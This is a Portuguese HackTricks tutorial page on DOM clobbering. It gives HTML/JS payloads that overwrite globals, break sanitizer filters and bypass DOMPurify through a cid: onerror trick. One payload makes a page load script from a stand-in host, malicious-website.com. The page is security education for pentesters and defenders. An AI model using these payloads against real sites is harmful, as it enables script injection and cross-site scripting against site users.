hacktricks/pentesting-web/xss-cross-site-scripting/dom-clobbering.md
2023-06-06 18:56:34 +00:00

222 lines
14 KiB
Markdown
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Dom Clobbering
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira [**produtos oficiais PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## **Fundamentos**
É possível gerar **variáveis globais dentro do contexto JS** com os atributos **`id`** e **`name`** em tags HTML.
```html
<form id=x></form>
<script> console.log(typeof document.x) //[object HTMLFormElement] </script>
```
Apenas certos elementos podem usar o atributo **name** para clobber globals, eles são: `embed`, `form`, `iframe`, `image`, `img` e `object`.
Curiosamente, quando você usa um **elemento de formulário** para **clobber** uma variável, você obterá o valor **`toString`** do próprio elemento: `[object HTMLFormElement]`, mas com **âncora** o **`toString`** será o **`href`** da âncora. Portanto, se você clobber usando a tag **`a`**, você pode **controlar** o **valor** quando ele é **tratado como uma string**:
```html
<a href="controlled string" id=x></a>
<script>
console.log(x);//controlled string
</script>
```
### Arrays e Atributos
Também é possível **sobrescrever um array** e **atributos de objetos**:
```html
<a id=x>
<a id=x name=y href=controlled>
<script>
console.log(x[1])//controlled
console.log(x.y)//controlled
</script>
```
Para sobrescrever **um terceiro atributo** (por exemplo, x.y.z), você precisa usar um **`formulário`**:
```html
<form id=x name=y><input id=z value=controlled></form>
<form id=x></form>
<script>
alert(x.y.z.value)//controlled
</script>
```
Sobrescrever mais atributos é **mais complicado, mas ainda é possível**, usando iframes:
```html
<iframe name=x srcdoc="<a id=y href=controlled></a>"></iframe>
<style>@import 'https://google.com';</style>
<script>alert(x.y)//controlled</script>
```
{% hint style="warning" %}
A tag de estilo é usada para **dar tempo suficiente para o iframe ser renderizado**. Sem ela, você encontrará um alerta de **indefinido**.
{% endhint %}
Para clobber atributos mais profundos, você pode usar **iframes com codificação html** desta maneira:
```html
<iframe name=a srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;amp;#x20;name=e&amp;amp;#x20;href=\controlled&amp;amp;gt;<a&amp;amp;#x20;id=d&amp;amp;gt; name=d>' name=b>"></iframe>
<style>@import 'https://google.com';</style>
<script>
alert(a.b.c.d.e)//controlled
</script>
```
### **Burlando Filtros**
Se um filtro está **percorrendo** as **propriedades** de um nó usando algo como `document.getElementByID('x').attributes`, você pode **sobrescrever** o atributo **`.attributes`** e **quebrar o filtro**. Outras propriedades do DOM como **`tagName`**, **`nodeName`** ou **`parentNode`** e outras também são **sobrescrevíveis**.
```html
<form id=x></form>
<form id=y>
<input name=nodeName>
</form>
<script>
console.log(document.getElementById('x').nodeName)//FORM
console.log(document.getElementById('y').nodeName)//[object HTMLInputElement]
</script>
```
## **Clobbering `window.someObject`**
Um padrão comum usado por desenvolvedores JavaScript é:
```javascript
var someObject = window.someObject || {};
```
Se você pode controlar parte do HTML na página, pode sobrescrever a referência `someObject` com um nó DOM, como um link. Considere o seguinte código:
```html
<script>
window.onload = function(){
let someObject = window.someObject || {};
let script = document.createElement('script');
script.src = someObject.url;
document.body.appendChild(script);
};
</script>
```
Para explorar este código vulnerável, você poderia injetar o seguinte HTML para sobrescrever a referência `someObject` com um elemento de âncora:
{% code overflow="wrap" %}
```html
<a id=someObject><a id=someObject name=url href=//malicious-website.com/malicious.js>
```
{% endcode %}
Injetar os dados **`window.someObject.url`** resultará em `href=//malicious-website.com/malicious.js`.
**Truque**: **`DOMPurify`** permite que você use o protocolo **`cid:`**, que **não codifica em URL as aspas duplas**. Isso significa que você pode **injetar uma aspa dupla codificada que será decodificada em tempo de execução**. Portanto, injetar algo como **`<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:&quot;onerror=alert(1)//">`** fará com que a aspa dupla codificada `&quot;` seja **decodificada em tempo de execução** e **escape** do valor do atributo para **criar** o evento **`onerror`**.
Outra técnica comum consiste em usar o elemento **`form`**. Algumas bibliotecas do lado do cliente passarão pelos atributos do elemento de formulário criado para sanitizá-lo. Mas, se você criar um `input` dentro do formulário com `id=attributes`, você irá **sobrescrever a propriedade de atributos** e o sanitizador **não** poderá passar pelos **atributos reais**.
Você pode [**encontrar um exemplo desse tipo de sobrescrita em um writeup de CTF**](iframes-in-xss-and-csp.md#iframes-in-sop-2).
## Sobrescrevendo o objeto document
De acordo com a documentação, é possível sobrescrever atributos do objeto document usando o DOM Clobbering:
> A interface [Document](https://html.spec.whatwg.org/multipage/dom.html#document) [suporta propriedades nomeadas](https://webidl.spec.whatwg.org/#dfn-support-named-properties). Os [nomes de propriedade suportados](https://webidl.spec.whatwg.org/#dfn-supported-property-names) de um objeto [Document](https://html.spec.whatwg.org/multipage/dom.html#document) em qualquer momento consistem no seguinte, em [ordem de árvore](https://dom.spec.whatwg.org/#concept-tree-order) de acordo com o elemento que os contribuiu, ignorando duplicatas posteriores, e com valores de atributos [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) vindo antes de valores de atributos de nome quando o mesmo elemento contribui ambos:
>
> \- O valor do atributo de conteúdo de nome para todos os elementos [expostos](https://html.spec.whatwg.org/multipage/dom.html#exposed) [embed](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-embed-element), [form](https://html.spec.whatwg.org/multipage/forms.html#the-form-element), [iframe](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-iframe-element), [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) e [expostos](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) que têm um atributo de conteúdo de nome não vazio e estão [em uma árvore de documentos](https://dom.spec.whatwg.org/#in-a-document-tree) com o documento como sua [raiz](https://dom.spec.whatwg.org/#concept-tree-root);\
> \
> \- O valor do atributo de conteúdo [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) para todos os elementos [expostos](https://html.spec.whatwg.org/multipage/dom.html#exposed) [object](https://html.spec.whatwg.org/multipage/iframe-embed-object.html#the-object-element) que têm um atributo de conteúdo [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) não vazio e estão [em uma árvore de documentos](https://dom.spec.whatwg.org/#in-a-document-tree) com o documento como sua [raiz](https://dom.spec.whatwg.org/#concept-tree-root);\
> \
> \- O valor do atributo de conteúdo [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) para todos os elementos [img](https://html.spec.whatwg.org/multipage/embedded-content.html#the-img-element) que têm tanto um atributo de conteúdo [id](https://html.spec.whatwg.org/multipage/dom.html#the-id-attribute) não vazio quanto um atributo de conteúdo de nome não vazio, e estão [em uma árvore de documentos](https://dom.spec.whatwg.org/#in-a-document-tree) com o documento como sua [raiz](https://dom.spec.whatwg.org/#concept-tree-root).
Usando essa técnica, você pode sobrescrever **valores comumente usados, como `document.cookie`, `document.body`, `document.children`**, e até mesmo métodos na interface Document, como `document.querySelector`.
```javascript
document.write("<img name=cookie />")
document.cookie
<img name="cookie">
typeof(document.cookie)
'object'
//Something more sanitize friendly than a img tag
document.write("<form name=cookie><input id=toString></form>")
document.cookie
HTMLCollection(2) [img, form, cookie: img]
typeof(document.cookie)
'object
```
## Escrevendo após o elemento clobbered
Você pode clobber os resultados de uma chamada **`document.getElementById()`** e **`document.querySelector()`** se **você injetar uma tag `<html>` ou `<body>` com o mesmo atributo id**. Aqui está um exemplo:
```html
<div style=display:none id=cdnDomain class=x>test</div>
<p>
<html id="cdnDomain" class=x>clobbered</html>
<script>
alert(document.getElementById('cdnDomain').innerText);//clobbbered
alert(document.querySelector('.x').innerText);//clobbbered
</script>
```
O que também é interessante é que você pode **ocultar elementos do `innerText`**, então se você injetar uma tag HTML/body, você pode usar estilos para ocultá-la do `innerText` para evitar que outro texto interfira no seu ataque:
```html
<div style=display:none id=cdnDomain>test</div>
<p>existing text</p>
<html id="cdnDomain">clobbered</html>
<style>
p{display:none;}
</style>
<script>
alert(document.getElementById('cdnDomain').innerText);//clobbbered
</script>
```
Analisamos também o SVG e é possível usar a tag `<body>` lá:
```html
<div style=display:none id=cdnDomain>example.com</div>
<svg><body id=cdnDomain>clobbered</body></svg>
<script>
alert(document.getElementById('cdnDomain').innerText)//clobbered
</script>
```
Você precisa de uma tag `<foreignobject>` para usar a tag HTML dentro do SVG no Chrome e no Firefox:
```html
<div style=display:none id=cdnDomain>example.com</div>
<svg>
<foreignobject>
<html id=cdnDomain>clobbered</html>
</foreignobject>
</svg>
<script>
alert(document.getElementById('cdnDomain').innerText)//clobbered
</script>
```
## Clobbering de Formulários
É possível adicionar **novas entradas dentro de um formulário** apenas especificando o atributo `form` dentro de algumas tags. Você pode usar isso para **adicionar novos valores dentro de um formulário** e até mesmo adicionar um novo **botão** para **enviá-lo** (clickjacking ou abusando de algum código JS `.click()`):
{% code overflow="wrap" %}
```html
<!--Add a new attribute and a new button to send-->
<textarea form=id-other-form name=info>
";alert(1);//
</textarea>
<button form=id-other-form type="submit" formaction="/edit" formmethod="post">
Click to send!
</button>
```
{% endcode %}
* Para mais atributos de formulário em [**botão verifique isso**](https://www.w3schools.com/tags/tag\_button.asp)**.**
## Referências
* [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
* Heyes, Gareth. JavaScript para hackers: Aprenda a pensar como um hacker.
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>